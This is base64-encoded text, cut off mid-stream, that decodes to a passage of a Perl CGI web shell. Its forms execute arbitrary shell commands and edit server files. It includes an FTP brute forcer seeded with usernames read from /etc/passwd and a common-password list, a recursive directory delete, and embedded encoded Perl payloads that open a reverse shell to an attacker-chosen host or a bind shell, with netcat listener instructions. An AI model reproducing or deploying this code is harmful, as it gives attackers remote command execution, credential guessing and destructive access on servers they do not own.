LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIHJ1biBjb21tYW5kDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOw0KCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsNCglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCglpZigtdyAkRmlsZSkNCgl7DQoJCSRyb3dzPSIyMyINCgl9ZWxzZQ0KCXsNCgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOw0KCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cNCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4NCkVORA0KCQ0KCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGJyPjxicj4NCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCg0KCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgTUlNRTo6QmFzZTY0Ow0KCXVzZSBTb2NrZXQ7CQ0KCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsNCgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOw0KDQoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7DQoJaWYoJENsaWVudFBvcnQgZXEgMCkNCgl7DQoJCXJldHVybiAmQmFja0JpbmRGb3JtOw0KCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQoJCWlmKC13ICIvdG1wLyIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCBiYWNrY29ubmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfWVsc2UNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCgkJaWYoLXcgIi90bXAiKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKQ0KCXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCXsNCgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCgkJCXsNCgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsNCgkJCQlpZigtZCAkZmlsZSkNCgkJCQl7DQoJCQkJCSZSbURpcigkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXVubGluaygkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCWlmKCFybWRpcigkZGlyKSkNCgl7DQoJCQ0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dX